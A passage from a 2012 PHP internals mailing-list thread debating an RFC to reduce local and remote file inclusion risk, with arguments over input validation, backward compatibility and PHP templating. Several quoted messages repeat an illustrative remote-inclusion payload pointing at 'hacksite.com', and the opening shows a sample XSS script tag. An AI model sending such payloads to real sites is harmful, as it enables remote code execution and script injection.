<b>'), text&user&utf8('<script>xss();</script>'), html('</b>!')];

echo $_GET['name']; // assuming the current output format is text/html,
the output will be "Welcome <b> <script>xss();</script></b>!"

Obviously this second idea is probably a prohibitively large change, there
is some BC break (especially where an input was known to be HTML but
secured via something like HTMLPurifier), and there are huge open questions
(like how to handle string comparison). Still, I think it is interesting
because it actually divines the real meaning. The intent of the above code
is obvious to a developer, and something like this could bring that
understanding to the final result. This specific concept has issues, but
maybe it gives someone else a more practical idea.

John Crenshaw
Priacta, Inc.

--

I can't help but question whether we should even be worrying about LFI/RFI
to begin with. Personally, I would never check-off on code that in any
way used $_GET or $_POST directly in an include/require statement! It's
just plain lazy. There's just no excuse for doing that. Use some sort of
dispatch or translation table. Sure, it might seem less "magical," but
it'll also protect you from some asshole hitting you with something like,
"?file=http://hacksite.com/injectedcode.php?";. The individual code
developer has to take some responsibility for their code. If this is
such a problem, I would think the solution would be to update our docs to
better warn people about this type of attack and educate them on how not to
write code that's vulnerable to it.

We can make the language secure; but, in the end, a language is only as
smart as the person using it.

--Kris

12 years ago by Chris Stockton — view source

unread

Hello,

I can't help but question whether we should even be worrying about LFI/RFI
to begin with. Personally, I would never check-off on code that in any
way used $_GET or $_POST directly in an include/require statement! It's
just plain lazy. There's just no excuse for doing that. Use some sort of
dispatch or translation table. Sure, it might seem less "magical," but
it'll also protect you from some asshole hitting you with something like,
"?file=http://hacksite.com/injectedcode.php?";. The individual code
developer has to take some responsibility for their code. If this is
such a problem, I would think the solution would be to update our docs to
better warn people about this type of attack and educate them on how not to
write code that's vulnerable to it.

We can make the language secure; but, in the end, a language is only as
smart as the person using it.

I really have a hard time understanding how this is even being
discussed, there is no real problem here. Making sure user input is
validated is a core concept of application development. How on earth
can you say "if you don't validate the users input, it's a security
problem, so php must fix it", it's the most ridiculousness argument I
have read on here in ages.

IF you absolutely must accept arbitrary user urls from users, which
we all have to do at some point, you use socket functions, file
functions, HTTP extension, whatever you want. If you are using INCLUDE
you are using the WRONG TOOL. You are WRONG.

IF you are needing to display downloaded user data onto a page, a
image for example, you need to use file functions, fpassthru,
something of the source. If you are using INCLUDE to do this, you are
using the WRONG TOOL. You are WRONG.

IF you for some reason must accept LOCAL PATHS from a user, and you
do not want to pass that input through a validation layer, you are
WRONG.

It boils down to you either use the right tools and the right
validation methods or I promise this is only one of unlimited possible
security concerns Yasuo.

-Chris

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/12 Chris Stockton chrisstocktonaz@gmail.com:

Hello,

I can't help but question whether we should even be worrying about LFI/RFI
to begin with. Personally, I would never check-off on code that in any
way used $_GET or $_POST directly in an include/require statement! It's
just plain lazy. There's just no excuse for doing that. Use some sort of
dispatch or translation table. Sure, it might seem less "magical," but
it'll also protect you from some asshole hitting you with something like,
"?file=http://hacksite.com/injectedcode.php?";. The individual code
developer has to take some responsibility for their code. If this is
such a problem, I would think the solution would be to update our docs to
better warn people about this type of attack and educate them on how not to
write code that's vulnerable to it.

We can make the language secure; but, in the end, a language is only as
smart as the person using it.

I really have a hard time understanding how this is even being
discussed, there is no real problem here. Making sure user input is
validated is a core concept of application development. How on earth
can you say "if you don't validate the users input, it's a security
problem, so php must fix it", it's the most ridiculousness argument I
have read on here in ages.

It is the same as saying that canary protection for stack smashing
or ASLR is useless if programmer write correct code.

Don't you appreciate that compilers/OSes have additional mitigation
factor, do you? Or would you like to disable all of these mitigation
features from your compilers/OSes? I guess not.

C language is prone to be weak for buffer overflows, hence it is
weak to code execution and/or massive information disclosure.
(Like private key disclosure demonstrated by MoPB)

Embedded language is prone to be weak for LFI. It also leads
to code execution and/or massive information disclosure.

These weaknesses are the nature of how languages are made.
PHP is pure embedded language and there are people trying to
change it. If we are going to change that, it is reasonable to
change PHP so that LFI weakness will be closed.

Not closing LFI issue is sound like "We have created Java language
which is free from memory management, but stack smashing and
various overflow issues still remains."

IF you absolutely must accept arbitrary user urls from users, which
we all have to do at some point, you use socket functions, file
functions, HTTP extension, whatever you want. If you are using INCLUDE
you are using the WRONG TOOL. You are WRONG.

Decent programmers knew the most important mitigation factor
is input control. It is top listed as monster mitigation in SANS CWE
TOP 25 also. I guess nobody would argue that here.

IF you are needing to display downloaded user data onto a page, a
image for example, you need to use file functions, fpassthru,
something of the source. If you are using INCLUDE to do this, you are
using the WRONG TOOL. You are WRONG.

IF you for some reason must accept LOCAL PATHS from a user, and you
do not want to pass that input through a validation layer, you are
WRONG.

It boils down to you either use the right tools and the right
validation methods or I promise this is only one of unlimited possible
security concerns Yasuo.

We are discussing PHP being stronger against LFI, if we
are going to adopt non-ebmed mode for PHP.

PHP is good language for novice. Do we want them to learn
details of LFI which is described in my RFC? How dangerous it is,
how it could be exploited, etc. I believe it's just not worth it if we
made PHP could work in non-embedded mode.

By the way, how many people knew all the exploitation methods that
I've written in the RFC? It's a real risk, but I guess many of us
don't even think about or care. How we could expect novice or
even average PHP programmer care about these risks?

It's better that close window as much as possible where it is
applicable.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Kris Craig — view source

unread

Hi,

2012/4/12 Chris Stockton chrisstocktonaz@gmail.com:

Hello,

On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig kris.craig@gmail.com
wrote:

I can't help but question whether we should even be worrying about
LFI/RFI
to begin with. Personally, I would never check-off on code that in
any
way used $_GET or $_POST directly in an include/require statement! It's
just plain lazy. There's just no excuse for doing that. Use some sort
of
dispatch or translation table. Sure, it might seem less "magical," but
it'll also protect you from some asshole hitting you with something
like,
"?file=http://hacksite.com/injectedcode.php?";. The individual code
developer has to take some responsibility for their code. If this is
such a problem, I would think the solution would be to update our docs
to
better warn people about this type of attack and educate them on how
not to
write code that's vulnerable to it.

We can make the language secure; but, in the end, a language is only as
smart as the person using it.

I really have a hard time understanding how this is even being
discussed, there is no real problem here. Making sure user input is
validated is a core concept of application development. How on earth
can you say "if you don't validate the users input, it's a security
problem, so php must fix it", it's the most ridiculousness argument I
have read on here in ages.

It is the same as saying that canary protection for stack smashing
or ASLR is useless if programmer write correct code.

Don't you appreciate that compilers/OSes have additional mitigation
factor, do you? Or would you like to disable all of these mitigation
features from your compilers/OSes? I guess not.

C language is prone to be weak for buffer overflows, hence it is
weak to code execution and/or massive information disclosure.
(Like private key disclosure demonstrated by MoPB)

Embedded language is prone to be weak for LFI. It also leads
to code execution and/or massive information disclosure.

These weaknesses are the nature of how languages are made.
PHP is pure embedded language and there are people trying to
change it. If we are going to change that, it is reasonable to
change PHP so that LFI weakness will be closed.

Not closing LFI issue is sound like "We have created Java language
which is free from memory management, but stack smashing and
various overflow issues still remains."

IF you absolutely must accept arbitrary user urls from users, which
we all have to do at some point, you use socket functions, file
functions, HTTP extension, whatever you want. If you are using INCLUDE
you are using the WRONG TOOL. You are WRONG.

Decent programmers knew the most important mitigation factor
is input control. It is top listed as monster mitigation in SANS CWE
TOP 25 also. I guess nobody would argue that here.

IF you are needing to display downloaded user data onto a page, a
image for example, you need to use file functions, fpassthru,
something of the source. If you are using INCLUDE to do this, you are
using the WRONG TOOL. You are WRONG.

IF you for some reason must accept LOCAL PATHS from a user, and you
do not want to pass that input through a validation layer, you are
WRONG.

It boils down to you either use the right tools and the right
validation methods or I promise this is only one of unlimited possible
security concerns Yasuo.

We are discussing PHP being stronger against LFI, if we
are going to adopt non-ebmed mode for PHP.

PHP is good language for novice. Do we want them to learn
details of LFI which is described in my RFC? How dangerous it is,
how it could be exploited, etc. I believe it's just not worth it if we
made PHP could work in non-embedded mode.

By the way, how many people knew all the exploitation methods that
I've written in the RFC? It's a real risk, but I guess many of us
don't even think about or care. How we could expect novice or
even average PHP programmer care about these risks?

It's better that close window as much as possible where it is
applicable.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

But you're basically just using an "either or argument," a classic logical
fallacy. I.e. you're saying that, if I believe that the language shouldn't
be twisted to protect against every single possible vulnerability caused by
stupid code, then I must also believe that the language should not contain *
any* security safeguards, whatsoever. That's just patently ridiculous.

This isn't an "all or nothing" question. This particular RFC just doesn't
pass the cost/benefit test IMHO. That doesn't mean that all
security-related RFCs don't. In this case, a substantial change to the
language would have to be made, and the only benefit would be protecting
against a very narrow vulnerability that only occurs in really, REALLY
bad code.

--Kris

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/12 Kris Craig kris.craig@gmail.com:

Hi,

2012/4/12 Chris Stockton chrisstocktonaz@gmail.com:

Hello,

On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig kris.craig@gmail.com
wrote:

I can't help but question whether we should even be worrying about
LFI/RFI
to begin with. Personally, I would never check-off on code that in
any
way used $_GET or $_POST directly in an include/require statement!
It's
just plain lazy. There's just no excuse for doing that. Use some sort
of
dispatch or translation table. Sure, it might seem less "magical," but
it'll also protect you from some asshole hitting you with something
like,
"?file=http://hacksite.com/injectedcode.php?";. The individual code
developer has to take some responsibility for their code. If this is
such a problem, I would think the solution would be to update our docs
to
better warn people about this type of attack and educate them on how
not to
write code that's vulnerable to it.

We can make the language secure; but, in the end, a language is only as
smart as the person using it.

I really have a hard time understanding how this is even being
discussed, there is no real problem here. Making sure user input is
validated is a core concept of application development. How on earth
can you say "if you don't validate the users input, it's a security
problem, so php must fix it", it's the most ridiculousness argument I
have read on here in ages.

It is the same as saying that canary protection for stack smashing
or ASLR is useless if programmer write correct code.

Don't you appreciate that compilers/OSes have additional mitigation
factor, do you? Or would you like to disable all of these mitigation
features from your compilers/OSes? I guess not.

C language is prone to be weak for buffer overflows, hence it is
weak to code execution and/or massive information disclosure.
(Like private key disclosure demonstrated by MoPB)

Embedded language is prone to be weak for LFI. It also leads
to code execution and/or massive information disclosure.

These weaknesses are the nature of how languages are made.
PHP is pure embedded language and there are people trying to
change it. If we are going to change that, it is reasonable to
change PHP so that LFI weakness will be closed.

Not closing LFI issue is sound like "We have created Java language
which is free from memory management, but stack smashing and
various overflow issues still remains."

IF you absolutely must accept arbitrary user urls from users, which
we all have to do at some point, you use socket functions, file
functions, HTTP extension, whatever you want. If you are using INCLUDE
you are using the WRONG TOOL. You are WRONG.

Decent programmers knew the most important mitigation factor
is input control. It is top listed as monster mitigation in SANS CWE
TOP 25 also. I guess nobody would argue that here.

IF you are needing to display downloaded user data onto a page, a
image for example, you need to use file functions, fpassthru,
something of the source. If you are using INCLUDE to do this, you are
using the WRONG TOOL. You are WRONG.

IF you for some reason must accept LOCAL PATHS from a user, and you
do not want to pass that input through a validation layer, you are
WRONG.

It boils down to you either use the right tools and the right
validation methods or I promise this is only one of unlimited possible
security concerns Yasuo.

We are discussing PHP being stronger against LFI, if we
are going to adopt non-ebmed mode for PHP.

PHP is good language for novice. Do we want them to learn
details of LFI which is described in my RFC? How dangerous it is,
how it could be exploited, etc. I believe it's just not worth it if we
made PHP could work in non-embedded mode.

By the way, how many people knew all the exploitation methods that
I've written in the RFC? It's a real risk, but I guess many of us
don't even think about or care. How we could expect novice or
even average PHP programmer care about these risks?

It's better that close window as much as possible where it is
applicable.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

But you're basically just using an "either or argument," a classic logical
fallacy. I.e. you're saying that, if I believe that the language shouldn't
be twisted to protect against every single possible vulnerability caused by
stupid code, then I must also believe that the language should not contain
any security safeguards, whatsoever. That's just patently ridiculous.

This isn't an "all or nothing" question. This particular RFC just doesn't
pass the cost/benefit test IMHO. That doesn't mean that all
security-related RFCs don't. In this case, a substantial change to the
language would have to be made, and the only benefit would be protecting
against a very narrow vulnerability that only occurs in really, REALLY bad
code.

Why?
It's fully compatible with existing code.
It's as few as 3 lines of change to adopt with decent frameworks.

I'm missing what made you believe it could cost too much?

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Yasuo Ohgaki — view source

unread

2012/4/12 Yasuo Ohgaki yohgaki@ohgaki.net:

Hi,

2012/4/12 Kris Craig kris.craig@gmail.com:

Hi,

2012/4/12 Chris Stockton chrisstocktonaz@gmail.com:

Hello,

On Wed, Apr 11, 2012 at 10:53 AM, Kris Craig kris.craig@gmail.com
wrote:

I can't help but question whether we should even be worrying about
LFI/RFI
to begin with. Personally, I would never check-off on code that in
any
way used $_GET or $_POST directly in an include/require statement!
It's
just plain lazy. There's just no excuse for doing that. Use some sort
of
dispatch or translation table. Sure, it might seem less "magical," but
it'll also protect you from some asshole hitting you with something
like,
"?file=http://hacksite.com/injectedcode.php?";. The individual code
developer has to take some responsibility for their code. If this is
such a problem, I would think the solution would be to update our docs
to
better warn people about this type of attack and educate them on how
not to
write code that's vulnerable to it.

We can make the language secure; but, in the end, a language is only as
smart as the person using it.

I really have a hard time understanding how this is even being
discussed, there is no real problem here. Making sure user input is
validated is a core concept of application development. How on earth
can you say "if you don't validate the users input, it's a security
problem, so php must fix it", it's the most ridiculousness argument I
have read on here in ages.

It is the same as saying that canary protection for stack smashing
or ASLR is useless if programmer write correct code.

Don't you appreciate that compilers/OSes have additional mitigation
factor, do you? Or would you like to disable all of these mitigation
features from your compilers/OSes? I guess not.

C language is prone to be weak for buffer overflows, hence it is
weak to code execution and/or massive information disclosure.
(Like private key disclosure demonstrated by MoPB)

Embedded language is prone to be weak for LFI. It also leads
to code execution and/or massive information disclosure.

These weaknesses are the nature of how languages are made.
PHP is pure embedded language and there are people trying to
change it. If we are going to change that, it is reasonable to
change PHP so that LFI weakness will be closed.

Not closing LFI issue is sound like "We have created Java language
which is free from memory management, but stack smashing and
various overflow issues still remains."

IF you absolutely must accept arbitrary user urls from users, which
we all have to do at some point, you use socket functions, file
functions, HTTP extension, whatever you want. If you are using INCLUDE
you are using the WRONG TOOL. You are WRONG.

Decent programmers knew the most important mitigation factor
is input control. It is top listed as monster mitigation in SANS CWE
TOP 25 also. I guess nobody would argue that here.

IF you are needing to display downloaded user data onto a page, a
image for example, you need to use file functions, fpassthru,
something of the source. If you are using INCLUDE to do this, you are
using the WRONG TOOL. You are WRONG.

IF you for some reason must accept LOCAL PATHS from a user, and you
do not want to pass that input through a validation layer, you are
WRONG.

It boils down to you either use the right tools and the right
validation methods or I promise this is only one of unlimited possible
security concerns Yasuo.

We are discussing PHP being stronger against LFI, if we
are going to adopt non-ebmed mode for PHP.

PHP is good language for novice. Do we want them to learn
details of LFI which is described in my RFC? How dangerous it is,
how it could be exploited, etc. I believe it's just not worth it if we
made PHP could work in non-embedded mode.

By the way, how many people knew all the exploitation methods that
I've written in the RFC? It's a real risk, but I guess many of us
don't even think about or care. How we could expect novice or
even average PHP programmer care about these risks?

It's better that close window as much as possible where it is
applicable.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

But you're basically just using an "either or argument," a classic logical
fallacy. I.e. you're saying that, if I believe that the language shouldn't
be twisted to protect against every single possible vulnerability caused by
stupid code, then I must also believe that the language should not contain
any security safeguards, whatsoever. That's just patently ridiculous.

This isn't an "all or nothing" question. This particular RFC just doesn't
pass the cost/benefit test IMHO. That doesn't mean that all
security-related RFCs don't. In this case, a substantial change to the
language would have to be made, and the only benefit would be protecting
against a very narrow vulnerability that only occurs in really, REALLY bad
code.

Why?
It's fully compatible with existing code.
It's as few as 3 lines of change to adopt with decent frameworks.

I'm missing what made you believe it could cost too much?

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

It's also very easy to write backward compatible code also.
The 3 lines of changes to adopt this RFC do not bother
old PHP.

No compatibility issue for existing code
Just 3 lines of change to adopt
Full backward compatibility for OLD systems

The only issue is NEW code may be disclosed by OLD
systems.

If you think it costs too much still, please let me know.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Rasmus Lerdorf — view source

unread

It's also very easy to write backward compatible code also.
The 3 lines of changes to adopt this RFC do not bother
old PHP.

No compatibility issue for existing code
Just 3 lines of change to adopt
Full backward compatibility for OLD systems

The only issue is NEW code may be disclosed by OLD
systems.

If you think it costs too much still, please let me know.

Pretty much all of the code I have ever written would break. I use
PHP-based templating everywhere and include my templates with
include/require. How exactly can I fix this with 3 lines of code?

-Rasmus

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/12 Rasmus Lerdorf rasmus@lerdorf.com:

It's also very easy to write backward compatible code also.
The 3 lines of changes to adopt this RFC do not bother
old PHP.

No compatibility issue for existing code
Just 3 lines of change to adopt
Full backward compatibility for OLD systems

The only issue is NEW code may be disclosed by OLD
systems.

If you think it costs too much still, please let me know.

Pretty much all of the code I have ever written would break. I use
PHP-based templating everywhere and include my templates with
include/require. How exactly can I fix this with 3 lines of code?

I guess you have been writing code for the best performance.
I have these code also. For these codes, there are many places
to change, so it can't be adopt template_mode=off easily.

The best way would be defining your own include/require wrapped
by ini_set('template_mode', 'on') and ini_set('template_mode', 'off');
Then replace include/require where it is needed.

Users may stay template_mode=on. The best part of PHP is
templating, so this switch should be in PHP forever. This switch
is to enjoy best of both embedded and non-embedded language
at the same time. PHP without template is not PHP.

I would rather not to have new parameters nor special extensions
for PHP only script. This RFC is the best I can think of now.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Lester Caine — view source

unread

Rasmus Lerdorf wrote:

If you think it costs too much still, please let me know.
Pretty much all of the code I have ever written would break. I use
PHP-based templating everywhere and include my templates with
include/require. How exactly can I fix this with 3 lines of code?

Nice to hear that I'm not alone in using 'simple' templating.
I've also scanned a few of the sites I support, and it's quite surprising just
how many STILL use short open tag!
Once again - if people really want a 'programming language' will they please
start a separate fork! Leave those of us who are happy with what we have with
something that just works out of the box ( and even 'STRICT' is pigging annoying )

--
Lester Caine - G8HFL

Contact - http://lsces.co.uk/wiki/?page=contact
L.S.Caine Electronic Services - http://lsces.co.uk
EnquirySolve - http://enquirysolve.com/
Model Engineers Digital Workshop - http://medw.co.uk//
Firebird - http://www.firebirdsql.org/index.php

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/12 Lester Caine lester@lsces.co.uk:

Rasmus Lerdorf wrote:

If you think it costs too much still, please let me know.

Pretty much all of the code I have ever written would break. I use
PHP-based templating everywhere and include my templates with
include/require. How exactly can I fix this with 3 lines of code?

Nice to hear that I'm not alone in using 'simple' templating.
I've also scanned a few of the sites I support, and it's quite surprising
just how many STILL use short open tag!
Once again - if people really want a 'programming language' will they please
start a separate fork! Leave those of us who are happy with what we have
with something that just works out of the box ( and even 'STRICT' is pigging
annoying )

Then this RFC would be better RFC than the other.

This RFC encourage to write "<?php" at the top always while
other has special parameter and file extension for script only
files which will certainly lead full of "<?php" less scripts.
We can use PHP for simple/efficient templating as it is now
and still can include third party library files since "<?php" will
be there.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Arvids Godjuks — view source

unread

You all know where the short_tags, register_globals, magic_quotes and other
stuff like that took the language and the problems it made.
Doesn`t history teach us a lesson? I see that it did not for some active
members of this list.
Many are still cleaning up the mess of thouse optional php.ini directives,
Ibhad to clean up myself one project, took me 2 months to properly fix it
and make to run on PHP 5, anyway we ended up rewriting the whole thing from
scratch, a year of day to day work.
Now i write my stuff E_ALL, including strict stuff and I know for a fact
that there is no php.ini switch that could screw up my applications on
different hosting platforms (yes, some minor things can happen in specific
situations, but any properly configured PHP 5.3/5.4 will run smooth). And
now you purpose to add a switch that in one line can disable the
application for good (and get it's sources spit out all over the place).
And even if i write it in the right way - i have to convert every damn
external library. Ok, i upload it to the host and guess what - it spews the
code out because it is configured for the <?php tag!

It will never get adopted, too many legacy stuff, to many external tools.
And php native templates? I dont neet any twig, smarty or any other stuff.
And guess what - most template engines cache compiled templates, and they
are - ta-daa - PHP EMBEDDED IN HTML CODE!

Common sence is allien to some people on this list or what?

12 years ago by David Muir — view source

unread

It will never get adopted, too many legacy stuff, to many external tools.
And php native templates? I dont neet any twig, smarty or any other stuff.
And guess what - most template engines cache compiled templates, and they
are - ta-daa - PHP EMBEDDED IN HTML CODE!

I was wondering when someone was going to point that out. ;-)

David

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/13 David Muir davidkmuir@gmail.com:

It will never get adopted, too many legacy stuff, to many external tools.
And php native templates? I dont neet any twig, smarty or any other stuff.
And guess what - most template engines cache compiled templates, and they
are - ta-daa - PHP EMBEDDED IN HTML CODE!

I was wondering when someone was going to point that out. ;-)

David

I've said "PHP without templating is not PHP", too. :)

I would like to save current code as much as it can, so I prefer
php.ini switch over other method.

If I exclude current code, then introducing script only include will be
preferred one. I preferred dedicated statement for it though.

include
include_once
require
require_once
script
script_once

something like this. And for CLI switch, of course.

Framework developers can use define script/script_once

function script($file) {
require($file);
}

function script_once($file) {
require_once($file);
}

like this for compatibility.

Regards,

--
Yasuo Ohgaki

12 years ago by Stas Malyshev — view source

unread

Hi!

If I exclude current code, then introducing script only include will be
preferred one. I preferred dedicated statement for it though.

include
include_once
require
require_once
script
script_once

I have a thought here. To implement script/script_once you don't need it
to be a language construct. A function would do just as fine. Why not
make an extension having these two functions, put it on PECL and see if
people will be using it?
For extreme adopters, you could even make php.ini switch that overrides
include/require and redirects them to your script functions. Shouldn't
be impossible to do, I think.

Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ext. 227

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/13 Stas Malyshev smalyshev@sugarcrm.com:

Hi!

If I exclude current code, then introducing script only include will be
preferred one. I preferred dedicated statement for it though.

include
include_once
require
require_once
script
script_once

I have a thought here. To implement script/script_once you don't need it
to be a language construct. A function would do just as fine. Why not
make an extension having these two functions, put it on PECL and see if
people will be using it?
For extreme adopters, you could even make php.ini switch that overrides
include/require and redirects them to your script functions. Shouldn't
be impossible to do, I think.

Good idea.

I think it's possible as a Zend engine module. It may be possible
as normal module if compiler hook can be used. I guess it is now.

It provides optional security by accident. (Someone called LFI syntax
error an accident and I like it) I wish the other RFC author
implement this.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Yasuo Ohgaki — view source

unread

Hi,

2012/4/13 Yasuo Ohgaki yohgaki@ohgaki.net:

Hi,

2012/4/13 Stas Malyshev smalyshev@sugarcrm.com:

Hi!

If I exclude current code, then introducing script only include will be
preferred one. I preferred dedicated statement for it though.

include
include_once
require
require_once
script
script_once

I have a thought here. To implement script/script_once you don't need it
to be a language construct. A function would do just as fine. Why not
make an extension having these two functions, put it on PECL and see if
people will be using it?
For extreme adopters, you could even make php.ini switch that overrides
include/require and redirects them to your script functions. Shouldn't
be impossible to do, I think.

Good idea.

I think it's possible as a Zend engine module. It may be possible
as normal module if compiler hook can be used. I guess it is now.

It provides optional security by accident. (Someone called LFI syntax
error an accident and I like it) I wish the other RFC author
implement this.

Regards,

I just briefly read tokenizer code.
We can simply scan tokens and validate then executes.
So it's a very simple module to write.

Regards,

--
Yasuo Ohgaki
yohgaki@ohgaki.net

12 years ago by Kris Craig — view source

unread

On Thu, Apr 12, 2012 at 5:02 PM, Arvids Godjuks arvids.godjuks@gmail.comwrote:

You all know where the short_tags, register_globals, magic_quotes and other
stuff like that took the language and the problems it made.
Doesn`t history teach us a lesson? I see that it did not for some active
members of this list.
Many are still cleaning up the mess of thouse optional php.ini directives,
Ibhad to clean up myself one project, took me 2 months to properly fix it
and make to run on PHP 5, anyway we ended up rewriting the whole thing from
scratch, a year of day to day work.
Now i write my stuff E_ALL, including strict stuff and I know for a fact
that there is no php.ini switch that could screw up my applications on
different hosting platforms (yes, some minor things can happen in specific
situations, but any properly configured PHP 5.3/5.4 will run smooth). And
now you purpose to add a switch that in one line can disable the
application for good (and get it's sources spit out all over the place).
And even if i write it in the right way - i have to convert every damn
external library. Ok, i upload it to the host and guess what - it spews the
code out because it is configured for the <?php tag!

It will never get adopted, too many legacy stuff, to many external tools.
And php native templates? I dont neet any twig, smarty or any other stuff.
And guess what - most template engines cache compiled templates, and they
are - ta-daa - PHP EMBEDDED IN HTML CODE!

Common sence is allien to some people on this list or what?

As is civility and basic mutual respect, it would seem.

12 years ago by Arvids Godjuks — view source

unread

I should point out that if you make you mind about a feature - you will
twist and turn it like hell, but you can't be convinced that it may make
more damage than good, or is just plain pointless because out there in the
wild the world actually is wild. And peoe do things differently for a
reason.

I'm not trying to offend you or shame you, but you just ignore half valid
arguments. I personaly get a feeling that you don't do PHP development on a
regular basis, because for me, as a userland php developer, some things you
write are ridicilous and i would expect them from a beginer, a person
coming from a different language, but sure not from a serious seasoned PHP
developer.
This hassle with the php tags, special extensions, optional php.ini options
will make my life harder. Why? Because two hosters will be able to
configure their envoirments differently. Who suffers? I suffer the
conciquences of that by working at 3am saturday morning and probably
getting into a fight with my wife about that. And getting fired if i refuse
to fix issues.

I understand the concerns about the LFI or how it is called, but as many
people mentioned, its how the code is written. And if code is.written badly

you can't do anything about it on the language level without restricting
writing the code in the first place.

Those people that went for th include modification with the second optional
param are on the right track - you give the people the ability and they
will use it (i will).

If someone could take all the energy wasted here and put to work on
drasticly improving PDO - that would be a real benifit to every one. Cause
right now pdo just sucks, a lot.
13.04.2012 2:07 пользователь "Kris Craig" kris.craig@gmail.com написал:

On Thu, Apr 12, 2012 at 5:02 PM, Arvids Godjuks arvids.godjuks@gmail.comwrote:

You all know where the short_tags, register_globals, magic_quotes and
other
stuff like that took the language and the problems it made.
Doesn`t history teach us a lesson? I see that it did not for some active
members of this list.
Many are still cleaning up the mess of thouse optional php.ini directives,
Ibhad to clean up myself one project, took me 2 months to properly fix it
and make to run on PHP 5, anyway we ended up rewriting the whole thing
from
scratch, a year of day to day work.
Now i write my stuff E_ALL, including strict stuff and I know for a fact
that there is no php.ini switch that could screw up my applications on
different hosting platforms (yes, some minor things can happen in specific
situations, but any properly configured PHP 5.3/5.4 will run smooth). And
now you purpose to add a switch that in one line can disable the
application for good (and get it's sources spit out all over the place).
And even if i write it in the right way - i have to convert every damn
external library. Ok, i upload it to the host and guess what - it spews
the
code out because it is configured for the <?php tag!

It will never get adopted, too many legacy stuff, to many external tools.
And php native templates? I dont neet any twig, smarty or any other stuff.
And guess what - most template engines cache compiled templates, and they
are - ta-daa - PHP EMBEDDED IN HTML CODE!

Common sence is allien to some people on this list or what?

As is civility and basic mutual respect, it would seem.

12 years ago by Kris Craig — view source

unread

On Thu, Apr 12, 2012 at 5:55 PM, Arvids Godjuks arvids.godjuks@gmail.comwrote:

I should point out that if you make you mind about a feature - you will
twist and turn it like hell, but you can't be convinced that it may make
more damage than good, or is just plain pointless because out there in the
wild the world actually is wild. And peoe do things differently for a
reason.

I'm not trying to offend you or shame you, but you just ignore half valid
arguments. I personaly get a feeling that you don't do PHP development on a
regular basis, because for me, as a userland php developer, some things you
write are ridicilous and i would expect them from a beginer, a person
coming from a different language, but sure not from a serious seasoned PHP
developer.

I think a big part of the problem you're having stems from that mindset.
I've been developing PHP for over 10 years now and it is my primary
language. I've deployed more PHP applications and environments than I can
count over the years on both Linux and Windows. I'd say probably 95% of
the coding I do at work is PHP, about 99% of the work I do at home is PHP.

I'm not claiming to be better or worse at PHP than anywayone else (my
resume notwithstanding lol). The point is, you're assuming that, because
my perspective and my ideas differ from what you believe to be acceptable,
I therefore must be ignorant or otherwise unqualified. That's a very
dangerous mindset to have in any endeavor and I would strongly encourage
you to do some serious soul-searching on that, because you're only hurting
yourself when you think that way.

As for me ignoring arguments, I think you should go back through some of
these threads. I've gone to a lot of trouble to respond to individual
points. I'm sure I've probably missed a couple here and there amidst the
sheer volume, but for the most part I think I've done pretty well.
However, I think you're confusing failure to hear an argument with
failure to agree with an argument. If I disprove or even just counter
somebody else's argument, that doesn't mean I'm "ignoring" it. Quite the
opposite, in fact. ;P

This hassle with the php tags, special extensions, optional php.ini
options will make my life harder. Why? Because two hosters will be able to
configure their envoirments differently. Who suffers? I suffer the
conciquences of that by working at 3am saturday morning and probably
getting into a fight with my wife about that. And getting fired if i refuse
to fix issues.

I understand the concerns about the LFI or how it is called, but as many
people mentioned, its how the code is written. And if code is.written badly

you can't do anything about it on the language level without restricting
writing the code in the first place.

You seem to be grouping me in with some other people, because a lot of what
you just describe hasn't been proposed or even supported by me. For
example, you stated that, "as many people have mentioned," LFI security
comes down to how the code is written. Yeah, I know, because I'm one of
those people who stated that. Right here. On Internals. I took a little
bit of heat for it, too. I believe I summed-up the principle as, "A
programming language can only be as smart as the person using it."

That said, you'll notice that I didn't lodge any personal attacks at the
person who suggested it. But I was nonetheless assertive and forceful in
my arguments against it. That's where the difference lies. You can reduce
somebody else's argument to a pile of dust without ever having to even hint
at a personal attack; I do it all the time lol.

Those people that went for th include modification with the second
optional param are on the right track - you give the people the ability and
they will use it (i will).

If someone could take all the energy wasted here and put to work on
drasticly improving PDO - that would be a real benifit to every one. Cause
right now pdo just sucks, a lot.
13.04.2012 2:07 пользователь "Kris Craig" kris.craig@gmail.com написал:

On Thu, Apr 12, 2012 at 5:02 PM, Arvids Godjuks <arvids.godjuks@gmail.com

wrote:

You all know where the short_tags, register_globals, magic_quotes and
other
stuff like that took the language and the problems it made.
Doesn`t history teach us a lesson? I see that it did not for some active
members of this list.
Many are still cleaning up the mess of thouse optional php.ini
directives,
Ibhad to clean up myself one project, took me 2 months to properly fix it
and make to run on PHP 5, anyway we ended up rewriting the whole thing
from
scratch, a year of day to day work.
Now i write my stuff E_ALL, including strict stuff and I know for a fact
that there is no php.ini switch that could screw up my applications on
different hosting platforms (yes, some minor things can happen in
specific
situations, but any properly configured PHP 5.3/5.4 will run smooth). And
now you purpose to add a switch that in one line can disable the
application for good (and get it's sources spit out all over the place).
And even if i write it in the right way - i have to convert every damn
external library. Ok, i upload it to the host and guess what - it spews
the
code out because it is configured for the <?php tag!

It will never get adopted, too many legacy stuff, to many external tools.
And php native templates? I dont neet any twig, smarty or any other
stuff.
And guess what - most template engines cache compiled templates, and they
are - ta-daa - PHP EMBEDDED IN HTML CODE!

